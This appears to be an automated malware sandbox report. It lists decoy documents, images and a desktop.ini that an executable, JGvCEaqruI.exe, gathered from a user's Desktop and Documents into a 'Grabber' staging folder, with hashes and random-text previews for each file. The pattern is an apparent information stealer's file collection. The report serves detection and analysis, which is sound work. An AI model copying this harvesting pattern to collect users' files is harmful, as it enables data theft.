Preview:	UNKRLCVOHVAXPHOHAZYDIMBTYYPLYBYVUEQLGGJJCFCITCEMGOMMPTCXLGLYUZHZWMTUNUOFUUYAUDMSGBWJKAMIFUAYTDIKVYQPGYQSIZTANWSUNZDHBRNONSOUWVUJZFBPOZIMZOUPVAYJKSJULUHYRYUUOLYWEWFCYAZHMJKHXUZLTHEXFDNRXIUQOZHGGMDFHSXAJKHPBRPJJKVVXGMDIMEMMFXEOBQJSMYSSMPVSVUNJLJSSMEFHHLFEVPWZDDEIKQGOJPOJWTWMNPIEQXWXOBLNLDRNRUGDUXCMTURFAWMSSYAENGRWRBIJOYJNUMDYXNDETRQMYAMGJYZKZQPFPCONTLPPRLYMQJPIWCAXNOLGZOTNQEWQGBVSNORDVIXIUJAENWBXHSXSDNAMBAXUDBRCRHHYFJQLZEAGFZJUFMBIUBABNXVYITYPKRJUMGDPPABWBKNLHDKPLRUIRQXXKLFZAHHOQZHNTUNORTHIPKRZRDGRVPKIZRHYAGOVNDISDQRFXONCHILLZJTGXRZPEIPHKZXDBODDSUZIKNUVTNMZGVZQILJHRYJYZKDBLCLJFWSXRREYFFMEXBICHNCCTBTTTTZZVMSHPBKJMXPXFJNIDQFSJDMCXXUZPFVBFVKYCVFVQFUVOJWWIUNBICQVZGOZZVDJKKZTGDLWXADCBHYGUDWYWTYVYOOICLDGZXJHSTPFGQBMRCCCBJSXCPVVBKRNYTLTAOWPNJFKXUXQORRVHCHMSRAHQHFDEMZUFOFJOQFXHQBLWKNHXKEBLUJMQCFCSTBVXKUUPPXZNEWBUZPPVJFCDLXJEGEZSQSHHBNUCTRMEDMGPNZBHGEXVTWWZFELEFQQWXGHSVDMBAGZANSOHWAGHWRFCVNRSBOOZFJQONOYPNXBMHJINMGSGLMUSTAOMZXKOIHFYYSJWELBRBKMJUVQKVVFUFLDZKJVPCATVIHCISAYNPTMBEUQYJRYFUSBKOSITLVDUTJ

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Desktop\UNKRLCVOHV\WSHEJMDVQC.pdf

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694142261581685
Encrypted:	false
SSDEEP:	24:f9GDi2EYjkpBrLp83PYbuFr5oKIQppDgX+qrctnWyd3z+g8BHGZ:yEYjkpZYwS/oKIuA+qriTjEBHe
MD5:	E9AA17F314E072EBB015265FB63E77C0
SHA1:	1233B76350B8181FFFC438B62002C02B4AE79000
SHA-256:	F66078FCFEC2D71549136CC8B5B4EE7D33C4994E0A4E3E7C11F5ADCD819D0436
SHA-512:	719E659924CE585E4DD8CEA9BC6B5371AD810999022F874F380F50C7153D3AE97CC934E3173EF06573CAEE6CBC835A668C4D7DC2ADE597B1B0D200FCBAC67DA1
Malicious:	false
Preview:	WSHEJMDVQCWJPIIWMEHEPOBRYLOZOHFMDEEYYASRZPHJZGFNCKWIQSPBUMWBCKDMTEBFINALYAFGJUQXINNGDKSDBFBQLHYZRLLDJYSVNXVIEPIYHZGOTARYUNPFNZVRVVWIOWWFIFWCHVVHXNGKFNRNLVVSOPOMGZCDQUWJFARKTCAVVDPTCPNIDLRGSLNKZTVRAJAILYGDVIAAGIVKXRCRTRZJPKATKZAWRJTPVLTDNBDIRDWCCHBTEVEGYPYDTGSMLUDQXMQCAVHLYMRKPCVHQHMGNCGBZKOUKCCBHQPSIYIJGDVOYJJJRQLDKNVUEXDKCTANSMCHJUBIODALXWUAFPSECIRPCAEPPBACCLXBZAEDKJHLGOICLSKBQEGFCVDQOFKKAJPCTRIXBNPUDXKHSSXTDTQZSFEWHTHKFNJWHOEXGCYSYWIHFSMYJIYEESDQFMESLFQFBUJNXHWFNXIDWEUDMVGFDXPTRRRNPARVUGZAYZRHNTXHZAPBLWMHFSSHMXCYMAGONQNLTCAVPZPCAKJRMGEPDIFETDNSXWPDVMAZGTTCLNRREMVTBLOGKASYOATUDXLJKIYPPDNLZIZMWWFFDVMUFCTZZOFJORNAMGQBAFGCPTDCZBKTIGYDSCSPMIEXAMGICZNTFVNRPLGPMBXJHNCQSYNMGGPKIQJNDBDUBVIVXFILKXZXHODXZAYIDEIMZZMKQNQNBCCMZNFBKSYULDGKOMQZDUQMUVTBBTUTRZMIOZGDEUPHCDKJQDSGBXYNWPWTHYVLGGYNOBJJKAZSTKJSBCHVCLGWYHCNILYSCYCHTGYOGMNGWDZAVDCOVKWJPWVNTTKFTSHAAXLYUEWEVGETFCFTLKWTQCVAMBWYOYJVXNPSSWXJXUZDXJOZNTBLIZLLJQXYNILILMHHONBPAPFMVWEMHIHAGMOXTIBNNEBGCVSZEZTMJVDXSVACSKTAVTFOOSEHZQGTOUSCIQBVIWZGABQNZGJE

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Desktop\VWDFPKGDUF.jpg

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696835919052288
Encrypted:	false
SSDEEP:	24:Fn9jgzow1W6XZpt5tv2wi/9nymo1rcjQV26NyDmb5HPZ:zjgEw1bpfTi1yfhcUV2by5HPZ
MD5:	197C0DB71198B230CF6568A2AA40C23B
SHA1:	BAE63DD78D567ED9183C0F8D72A191191745C4E5
SHA-256:	6935BFDC854F927C6F05F97AE4865ECAA22F7D10D909725B7D67D87F17FF0F41
SHA-512:	972C7D9B89EBADA01E3C2D21B391AFA317A8B587DE768875B3B7082761E17AF795BF72B49DEE71DC1F5363863EEF3C7E2966E6AE3D2E6F481E373A77163316C7
Malicious:	false
Preview:	VWDFPKGDUFQFRUPAPPQGIIRLBMRJVLIMQXSWPKBCUGCSOYPXVZRYABCFRPGQFBKSRNNBPWCDTZQKOZTHEOXCUIMHAWUSAMNXIIEPWHBTSEWOJOEJUQZAZDGIRHLRLOCXDMGTXDXEJOWMXIFWDAGYCVGTBKYMXDYOTCGCARASSUUCMCNKFTCZOAQXBNILJTUOLCZYYUZFHGWFTCHDXYTZOEGFUAJLGZANLVNEVWHIIIRSURMEOTZWVHRLOGMTVRWICZIENOPRWLNSVHXQMULNZLBRICRJVVBJMJGVHJSCKBXVMICMFJQQTCIUSXRLUSMTSWGCQDGVFRQVIURPCVBLZIFEZKBUZGKUJIZAWRLYVVXWFGKCMRQFIVHFVXBDHBEKOJAILQRRTZPUTWBVRNRLZEMFWWBQUGOQWYUEGPKIVHQJHQHSJWVVENNMOAHFXILPEJPHZOQMAVSUXBQQEJFNFIKFQWEWEPKTIQQETBFSABZAOBVXEBARHKLVLMCAFGXXBLNGBZRJQOGMNGDAODYAVKYTFOYJRZDLZIYWZNRPPVZNHCTKOIHMETIQDHDGBHUSSZDLEXZSKRZLTIUMEADMONDOIPXWOAELAEUEJDZBECSINHBJNAYCCYTMEJUWYDNJDACYHUQIQZZBMKKRCJDQSGEHBSIIWWFOPRPYXHWNRLQFZPXUQSZHWHJGRVRNYZBBQUFKAWZTIDUQSFTJJPUAKBRGABJCNWDXOUPLCRZTCKKHIKTYZOGNWDCTUTSDFJLIDJMCLEXGJRUQRWREGZISCYJSMOFQXYMCGMMJMSQASADRKRHYGUYLIBJAAJOTHXHEVLCQEGGJBJBKULCPBXSIOOIEJPQIXDQHKAQSQMLWOISQZQTMTCLGTEHDXRHOIVIVQGKJJACQWPPTBGGHHKJRRPRENADLUPCMGIERRBDQYQJFUSIHVYGVGSIQZZWUZLCSUBMKCQYKCYTJRNNKEZZWFQMXWYFKKWAXFIFRJZTE

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Desktop\VWDFPKGDUF.xlsx

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696835919052288
Encrypted:	false
SSDEEP:	24:Fn9jgzow1W6XZpt5tv2wi/9nymo1rcjQV26NyDmb5HPZ:zjgEw1bpfTi1yfhcUV2by5HPZ
MD5:	197C0DB71198B230CF6568A2AA40C23B
SHA1:	BAE63DD78D567ED9183C0F8D72A191191745C4E5
SHA-256:	6935BFDC854F927C6F05F97AE4865ECAA22F7D10D909725B7D67D87F17FF0F41
SHA-512:	972C7D9B89EBADA01E3C2D21B391AFA317A8B587DE768875B3B7082761E17AF795BF72B49DEE71DC1F5363863EEF3C7E2966E6AE3D2E6F481E373A77163316C7
Malicious:	false
Preview:	VWDFPKGDUFQFRUPAPPQGIIRLBMRJVLIMQXSWPKBCUGCSOYPXVZRYABCFRPGQFBKSRNNBPWCDTZQKOZTHEOXCUIMHAWUSAMNXIIEPWHBTSEWOJOEJUQZAZDGIRHLRLOCXDMGTXDXEJOWMXIFWDAGYCVGTBKYMXDYOTCGCARASSUUCMCNKFTCZOAQXBNILJTUOLCZYYUZFHGWFTCHDXYTZOEGFUAJLGZANLVNEVWHIIIRSURMEOTZWVHRLOGMTVRWICZIENOPRWLNSVHXQMULNZLBRICRJVVBJMJGVHJSCKBXVMICMFJQQTCIUSXRLUSMTSWGCQDGVFRQVIURPCVBLZIFEZKBUZGKUJIZAWRLYVVXWFGKCMRQFIVHFVXBDHBEKOJAILQRRTZPUTWBVRNRLZEMFWWBQUGOQWYUEGPKIVHQJHQHSJWVVENNMOAHFXILPEJPHZOQMAVSUXBQQEJFNFIKFQWEWEPKTIQQETBFSABZAOBVXEBARHKLVLMCAFGXXBLNGBZRJQOGMNGDAODYAVKYTFOYJRZDLZIYWZNRPPVZNHCTKOIHMETIQDHDGBHUSSZDLEXZSKRZLTIUMEADMONDOIPXWOAELAEUEJDZBECSINHBJNAYCCYTMEJUWYDNJDACYHUQIQZZBMKKRCJDQSGEHBSIIWWFOPRPYXHWNRLQFZPXUQSZHWHJGRVRNYZBBQUFKAWZTIDUQSFTJJPUAKBRGABJCNWDXOUPLCRZTCKKHIKTYZOGNWDCTUTSDFJLIDJMCLEXGJRUQRWREGZISCYJSMOFQXYMCGMMJMSQASADRKRHYGUYLIBJAAJOTHXHEVLCQEGGJBJBKULCPBXSIOOIEJPQIXDQHKAQSQMLWOISQZQTMTCLGTEHDXRHOIVIVQGKJJACQWPPTBGGHHKJRRPRENADLUPCMGIERRBDQYQJFUSIHVYGVGSIQZZWUZLCSUBMKCQYKCYTJRNNKEZZWFQMXWYFKKWAXFIFRJZTE

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Desktop\WSHEJMDVQC.pdf

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694142261581685
Encrypted:	false
SSDEEP:	24:f9GDi2EYjkpBrLp83PYbuFr5oKIQppDgX+qrctnWyd3z+g8BHGZ:yEYjkpZYwS/oKIuA+qriTjEBHe
MD5:	E9AA17F314E072EBB015265FB63E77C0
SHA1:	1233B76350B8181FFFC438B62002C02B4AE79000
SHA-256:	F66078FCFEC2D71549136CC8B5B4EE7D33C4994E0A4E3E7C11F5ADCD819D0436
SHA-512:	719E659924CE585E4DD8CEA9BC6B5371AD810999022F874F380F50C7153D3AE97CC934E3173EF06573CAEE6CBC835A668C4D7DC2ADE597B1B0D200FCBAC67DA1
Malicious:	false
Preview:	WSHEJMDVQCWJPIIWMEHEPOBRYLOZOHFMDEEYYASRZPHJZGFNCKWIQSPBUMWBCKDMTEBFINALYAFGJUQXINNGDKSDBFBQLHYZRLLDJYSVNXVIEPIYHZGOTARYUNPFNZVRVVWIOWWFIFWCHVVHXNGKFNRNLVVSOPOMGZCDQUWJFARKTCAVVDPTCPNIDLRGSLNKZTVRAJAILYGDVIAAGIVKXRCRTRZJPKATKZAWRJTPVLTDNBDIRDWCCHBTEVEGYPYDTGSMLUDQXMQCAVHLYMRKPCVHQHMGNCGBZKOUKCCBHQPSIYIJGDVOYJJJRQLDKNVUEXDKCTANSMCHJUBIODALXWUAFPSECIRPCAEPPBACCLXBZAEDKJHLGOICLSKBQEGFCVDQOFKKAJPCTRIXBNPUDXKHSSXTDTQZSFEWHTHKFNJWHOEXGCYSYWIHFSMYJIYEESDQFMESLFQFBUJNXHWFNXIDWEUDMVGFDXPTRRRNPARVUGZAYZRHNTXHZAPBLWMHFSSHMXCYMAGONQNLTCAVPZPCAKJRMGEPDIFETDNSXWPDVMAZGTTCLNRREMVTBLOGKASYOATUDXLJKIYPPDNLZIZMWWFFDVMUFCTZZOFJORNAMGQBAFGCPTDCZBKTIGYDSCSPMIEXAMGICZNTFVNRPLGPMBXJHNCQSYNMGGPKIQJNDBDUBVIVXFILKXZXHODXZAYIDEIMZZMKQNQNBCCMZNFBKSYULDGKOMQZDUQMUVTBBTUTRZMIOZGDEUPHCDKJQDSGBXYNWPWTHYVLGGYNOBJJKAZSTKJSBCHVCLGWYHCNILYSCYCHTGYOGMNGWDZAVDCOVKWJPWVNTTKFTSHAAXLYUEWEVGETFCFTLKWTQCVAMBWYOYJVXNPSSWXJXUZDXJOZNTBLIZLLJQXYNILILMHHONBPAPFMVWEMHIHAGMOXTIBNNEBGCVSZEZTMJVDXSVACSKTAVTFOOSEHZQGTOUSCIQBVIWZGABQNZGJE

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Desktop\desktop.ini

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	282
Entropy (8bit):	3.514693737970008
Encrypted:	false
SSDEEP:	6:QyqRsioTA5wmHOlRaQmZWGokJqAMhAlWygDAlLwkAl2FlRaQmZWGokJISlfY:QZsiL5wmHOlDmo0qmWvclLwr2FlDmo0I
MD5:	9E36CC3537EE9EE1E3B10FA4E761045B
SHA1:	7726F55012E1E26CC762C9982E7C6C54CA7BB303
SHA-256:	4B9D687AC625690FD026ED4B236DAD1CAC90EF69E7AD256CC42766A065B50026
SHA-512:	5F92493C533D3ADD10B4CE2A364624817EBD10E32DAA45EE16593E913073602DB5E339430A3F7D2C44ABF250E96CA4E679F1F09F8CA807D58A47CF3D5C9C3790
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.8.3.....

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Documents\CZQKSDDMWR.docx

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.700739677288544
Encrypted:	false
SSDEEP:	24:ppydEKvTSBiqFHi8v+wyNV+fxloGJjN3y5j1xTEC3ugbIvso8wFjas:rmEKvMiYC8Wwyr88GFAH/UvsuZl
MD5:	57582F5B6AE65D8DFCBD4A26382C6138
SHA1:	DC27AD5E54D1BDCCA4EC0D54ED1FB5A3235E9842
SHA-256:	7918D6E76741E42934BB32547E2D7EA395304AEA3383C0E6B7FCF82ACE125749
SHA-512:	6D75F68E608CB12378605F06C74F2F0414486072CC25961A1EA421B94EA5827F92110B902C2190E04AAE2D79152B0AB9B5B1ACECDCAAADD93A6F25028DD1E060
Malicious:	false
Preview:	CZQKSDDMWRVXFLQDZCLIIZCHKUTASMCLXARWUFPBFEESBCKPMBKHTZOAVUSGWGQBPZXNCLVHGKNWOAOTOSOFYOKUZEGHVYFBBGTMFWOOTOTSLTKZBTPTBZMUKYOSGWCRRYGDZWOEMUMCRRCZIEIYJAYGXMDKNOLEIKRXPEZKZGIXGYJYIBDXPZGYVGHMUCSHXXAYXQQNWIVOLMGKTXTGEAEKAOKQQSCTUWFEFQMLQUREMQDBYWFEQOMAJXVXIMMKWJJFKSSTMQZNWPBIQBZROXFYPWCYBVRMKUOGMEJJHYTWCOZYZXVANCHSTYZHRBVSORLGLSOWPDGEBVMQLDWKSLQFPEZDXWPZYNPSNTKGPNKUHFMAEGDWSDLCDNYFQZWURNIMQZDJNJPPOXINSGMUVHRDBWXOXDRPWKGITAKUVBIDIBIWIIANONNQUMKNATQWTVSOUCLOFKCCAISNABSKDPLNCYIQIFQMVEHZLIAFYDDSJJTQSUEVQKACGQHHXCYTZJABESDNXLIPGYKWXJZQWYJMSZUZHKYCGKQIKCYIWZOHAVHKCRNACDVNLPEXUPOQVKBGVFKCQDKJPNALRMAYMZRBAGMTICYZEFMXXYLDXTMKSZLDKSKSRQTDUDGFZXFQEHEDXVFBYBNEOVKFLNIRSTGZDIJXNRZEZFJHNPZDGPGECJTHNVMTSURANVWOVRBTYGZGIPOXWTRIHNKWFKCTXVVKOFHISZVHNVVRXJGJEZEJDSCKNIDUQYQWFNDXBQQJAYENVZXKXVUERYEPFEGNWBAJHHQSAFTHXGXMHUHJVQEYGVKPBTQMWUEZMBBSFENGBBVZIYHLXFRDPALQUURINJMTQGTPGJRGIWXIXWOPVDTWDBDNJJVXOPMTWAGMWQFUPMRROBBTRTOQBMZKPGWTYPWAVOKTSPLMOWJJDVZIIDATCEGNLHPVRONAQJFLFUZXJVRXMCGQNRKTYBRGRMKBPVPQSPFOIOHXGEGDHOJP

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Documents\CZQKSDDMWR\CZQKSDDMWR.docx

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.700739677288544
Encrypted:	false
SSDEEP:	24:ppydEKvTSBiqFHi8v+wyNV+fxloGJjN3y5j1xTEC3ugbIvso8wFjas:rmEKvMiYC8Wwyr88GFAH/UvsuZl
MD5:	57582F5B6AE65D8DFCBD4A26382C6138
SHA1:	DC27AD5E54D1BDCCA4EC0D54ED1FB5A3235E9842
SHA-256:	7918D6E76741E42934BB32547E2D7EA395304AEA3383C0E6B7FCF82ACE125749
SHA-512:	6D75F68E608CB12378605F06C74F2F0414486072CC25961A1EA421B94EA5827F92110B902C2190E04AAE2D79152B0AB9B5B1ACECDCAAADD93A6F25028DD1E060
Malicious:	false
Preview:	CZQKSDDMWRVXFLQDZCLIIZCHKUTASMCLXARWUFPBFEESBCKPMBKHTZOAVUSGWGQBPZXNCLVHGKNWOAOTOSOFYOKUZEGHVYFBBGTMFWOOTOTSLTKZBTPTBZMUKYOSGWCRRYGDZWOEMUMCRRCZIEIYJAYGXMDKNOLEIKRXPEZKZGIXGYJYIBDXPZGYVGHMUCSHXXAYXQQNWIVOLMGKTXTGEAEKAOKQQSCTUWFEFQMLQUREMQDBYWFEQOMAJXVXIMMKWJJFKSSTMQZNWPBIQBZROXFYPWCYBVRMKUOGMEJJHYTWCOZYZXVANCHSTYZHRBVSORLGLSOWPDGEBVMQLDWKSLQFPEZDXWPZYNPSNTKGPNKUHFMAEGDWSDLCDNYFQZWURNIMQZDJNJPPOXINSGMUVHRDBWXOXDRPWKGITAKUVBIDIBIWIIANONNQUMKNATQWTVSOUCLOFKCCAISNABSKDPLNCYIQIFQMVEHZLIAFYDDSJJTQSUEVQKACGQHHXCYTZJABESDNXLIPGYKWXJZQWYJMSZUZHKYCGKQIKCYIWZOHAVHKCRNACDVNLPEXUPOQVKBGVFKCQDKJPNALRMAYMZRBAGMTICYZEFMXXYLDXTMKSZLDKSKSRQTDUDGFZXFQEHEDXVFBYBNEOVKFLNIRSTGZDIJXNRZEZFJHNPZDGPGECJTHNVMTSURANVWOVRBTYGZGIPOXWTRIHNKWFKCTXVVKOFHISZVHNVVRXJGJEZEJDSCKNIDUQYQWFNDXBQQJAYENVZXKXVUERYEPFEGNWBAJHHQSAFTHXGXMHUHJVQEYGVKPBTQMWUEZMBBSFENGBBVZIYHLXFRDPALQUURINJMTQGTPGJRGIWXIXWOPVDTWDBDNJJVXOPMTWAGMWQFUPMRROBBTRTOQBMZKPGWTYPWAVOKTSPLMOWJJDVZIIDATCEGNLHPVRONAQJFLFUZXJVRXMCGQNRKTYBRGRMKBPVPQSPFOIOHXGEGDHOJP

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Documents\CZQKSDDMWR\GLTYDMDUST.xlsx

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69569301223482
Encrypted:	false
SSDEEP:	24:P1aJ3UFXnPRRqJn5Ao7J4kXjiut748cX3Gg6hQk:P1aWFX5RQnAuh48cHGg6hQk
MD5:	CA404BEA65D84F58838AF73B2DC67E02
SHA1:	56EDE3A3BF70705B1D42A2AE13F6605057C1E5F6
SHA-256:	4A28C898DF5967827C26FD633CD56275159EF4C4C0193E484E8E8F3E9ECC66B9
SHA-512:	10C144317CDB5A368733346EB8440A986A377916F98BE0E8232E668A8C5E107E06829ADF575751B94D0B0AA37F4CAC48DBD7BC64FFE8DCB140FB033C00CEC721
Malicious:	false
Preview:	GLTYDMDUSTFARDVTDTOSUXWTZPBTWYSDUWRWNQMOYZIOPMOCUVTIJOHJYLHKBCEDWQBIYLQPLFXNZVXOZBIBDNIIHCNZHRIZBCANIAZPBFFJNXGCWLILIHHCYJHZSFIZUUDHFLQEWBBOMWJOZCKSAOAVKAWDPLPLVPHHMTSMKFCHYLMZJYKTJZUGPCSSVJJOKBWSTSLHJSIZZNIHOVEXPMQSKABHGSGHFUWVNTWTGYCLXOQEPAIEYRMLWJNNZHEPKXAHFKJUQHDHBHMPKXFCHXQYMICUKIVHNMPIJURPFBDBUQWHFTUVKPWMJHVOENGHYYNPMJPLPTQKABBVHNTLFXAJUISPUCEXPQFWXNQKGLSPRPJEAIJQZNYNOWAKNLRQHQRIOFXWLXEJZPOKNRPRZQJIGYXOWWZDFNURUOTFOOSKCNYLZXJZIWHYYUTOQRDTTRMPEMHZSRVZISBDQKRQYXAZOKOCTHUJKZWNHJSEMHTCSKCARZUYORNVIXVWTGAWUONMQVDITNHLNLJNREIEBPKELOMXBMEUBFTSVSGBVXSXHICRIGHIFVXWPXMIKKKCBOFCJGKJYZJDAWFCHWCNIMOPOPYUXDESMSSFNZBKRVTKTFPFGCIMVLKPBRKBRZJRHIYUQFAFEODGJZAXKRAFGTBXKKKTOXYTJBCHZWBDPBSBRTICVTUOWNEXJIZFESQAIMINDZJFLHIQSMVIICPGSEVSLVSVPMBXUGAPVVXVNJEBHRRBRPIHKGVJJDRANYKMMFJJBFPKFDJAROFBZANTWLCLSELNCCDRQUPZIMXLCVFZOFWKZYXCLQVRUFHUTIFPNWERRWWXHSVZHEYMHULWKGIIWKBRWODYKIGEPXGOEZXMJVKVNTEOQXZBOZBXYKMUGZUYMELGGHJJVDPONTLTQGITEMXYMMOGRWMQDUHIGHPJWPGIEZDZPFZHQMQKLTBUGJXLBLEGTFQZOXBPYRZFHNMZGVZGRAKFYTWDWWKV

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Documents\CZQKSDDMWR\LFOPODGVOH.jpg

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698393795110914
Encrypted:	false
SSDEEP:	24:weX7B5oYsT2B9e4Feb4OKL65JIiga/zOnv9iY81icgfiTetEc8E:FPoYsqB9e4dP63IigGOvo11LetEc8E
MD5:	7C5655873C22D2522B13B34841F82038
SHA1:	ED733AE5B3E813B97D69E7283AEB8085EFC62B78
SHA-256:	9A515FAA0EE108930EC0C597C9E2CA74B21C3C9D45F3F845954A65F3FA4C494D
SHA-512:	A98C25203B5A8C5C3FE7859E1B128BA3C0B5691BE716C53CA427770F10EC65CBB8B704EEA994BCE1ECA69EC4D46BCC0D48FE844653B964E96D1248D2E211CBD2
Malicious:	false
Preview:	LFOPODGVOHLLKBCXZQUOXPFEKGPKVDEYIZRZGQPAXXVWAHGTCBCWCYBHYOPHLEVYFLCEXNMVAAPUECIPRDZTIBJFGFXDAEMKYPYGCWSRTCUEEDISUDHVYQEPCSIKRBOXVZVTBFVUQHQYHEIWQPMZFNXNKGPPDGDMKJWAYJVYMRCYCWORBYPZYIFTAANBVDPJJOGYMYDPMPCNSOQVKLKNKHQVJQRYOOACYXVWFBJGOZRXUBDUSJEQNJXCVPHTUWAVCILOAXOWIJVWKMAIOEWTHGQELYIGVJJZNFBDSZXPZMLZNFDRIJQQQDSSMCBEMRHVOYIGRXSYQYDLBDBDJCVRREJGRUBPNYBFUCUXLMUIULULHCWJQQEMKBQMLJBDJQHFXPNODSTVZXWZZOXPIXKBRKMKOYEBDUBYOGMGXHFMCUIKRQYQMHGUBUAAFTMUCZNIIVAIOOBIASAJPKXIYIQIRVIIXGNUEDAXQJYWQXOBTAINKSTSHZGNUWVHVDUXVGWBWRXOYEGSIRNXRHBFOAWRQVFKAGDUSHRWQWJQRNMOGHTWFHOOZGRSVCSEJNMPDYUGTSBOMGHSHACUNTVVGKNAZSSLLQOXMCBVKFFAQLQCWYNIWPVJRECIKVCXZGCNHKXMQDPPOURAWIKZOZEFLDUYVIGDPGUMGOGBUYKGLVLWQSDAHAAIVFUNWQIWKRCSLCPMZBWBBDTBBVTZNYCLEIZNLQRHKBOLVTUTWSURDWQTCHAPUMJQWNVWVGFLAAPEHMLBUSYJCZDJUMZMKIOKIMVTYPMCXUXWVXIMVUCNXESHIVCKNFAALGDXCVJHQZWLDSAWNJWFBTHDBKGVKXLWDOPOOBJMPJCKUXVNFQVOUEIHJKOHTDCQCDOFQBMSQNWVDKTKWJIFVOMWEUJULPMGUSEWAZAHAZVGRSWNQYXPMKFWQGODZHVNOEXZBPLONONBPAHCDWEMSFLRJBFMOKMCLAGRJEGRTGVETXSZKDXQWEOD

C:\Users\user\AppData\Local\a30a3e5a47092b9ec157b09fc069cfae\user@704672_en-CH\Grabber\DRIVE-C\Users\user\Documents\CZQKSDDMWR\LIJDSFKJZG.png

Download File

Process:	C:\Users\user\Desktop\JGvCEaqruI.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69486718145169
Encrypted:	false
SSDEEP:	24:XvKYeI9D5UOyoiaxIKgpZ9ONvMyTONN5ZjJH1U:yyD6yxILZ9OtTT+XRG
MD5:	E63B196AE0D5F7670244FB1347D75EFC
SHA1:	1C17108AC7E5263674836BAD67AE44D8C3C6890B
SHA-256:	D8C0D7B9CDFC72CAAB0A7687299B6734708E98C6DD088CDB0FF1A659E294B49D
SHA-512:	63345352964E1BD19AC843F82820E9B29C5BA991A002AB9B3164E1AA10B6D88BFA0DFAFA2E91E584835BA89B6A1770140AC14EA0B4B64E6C3BF8CDA34C9698AC
Malicious:	false
Preview:	LIJDSFKJZGBDGXNCCVBULCELYCDFJRIXKMFPVDHHKPYEYOXKFYMNEETRQHXLDRVBOTNERMYOYUJOPHUSKFPWBGKNJYBGZTTHNKGNUZWATSMORYBOIKBFSVUUMZNDYXOYKYUKGRNFVRQOPBEEIPDGTPBXCNLKHMGPHFCEQOUTEDGJZTMFUUGECZETRSODGZCJVQEAMRZADPDVQRANZOSHTGPOXPXGXXQDJVYZOCNXDECWJISPPIJOZUBSSKPGODUHTISNESPZRLELINJJYOXSBFTVUDENIBRDIMMGFIQNDGUSXDBHQNJRYLFTZGOCELKZGOQQKNDPFAMTXHBKHJYXYEGLJLANRMMTCVEFYRTWLXIMCCHDWVOLGVUWRNLSIBMLMBKVSYLKXRTMZROHVHCRDBCODTPNVQMBPRJGBGOOFVGDIERMXUFETJQWDXSQQFMQAZGGRVNRCUOAVYJDIMQETJOANIIDEGJCHEFRSNVBQAQBBUTTMXBTJXRHLSOCTPPBIKPXITOOCINTVZYAVQLVOOZWSOPLYJPOTKFKIKEHIDDPCDDEPKVDYQAVTVBFYYWCGUKGIDVLQSIPXISDEDNJWONTSILFUGUYMKQLKEJGOOCBYSXDFHNFHHWGLXWWQKSSOHSSTZLRZVRHZVBZGGEZQFSIWQQPMILSPBAMPAGAHHVJJCITDTJRZTRBEXSXOVDKONGLMSWBAOOYAFISJHKEYUKIWXBFUDUMVQRELEPVTNQBALAQOEAEFVPIKNYIPNICGKQFRVXNQUEFULLOYWMHOMUFEMHYNKNWMAOBGWSECZOKWISDOIKSUVWBGWPNAMFUHBRWEJQPHFPEKIRLAEPTBNRQEUVXXIZSSOOEFEETUMNPSVEAKOXVYHAOIXBEYBVXDJXZCNDVOPZLARFFUSXUOWXQBKDLINBWBQLXLHHNIXZEPCNHFEIZUZSTXWFUITSBKYSELMNKNBBDQMNLAIOSKYHCWGFPNUXAFSRHOWYH

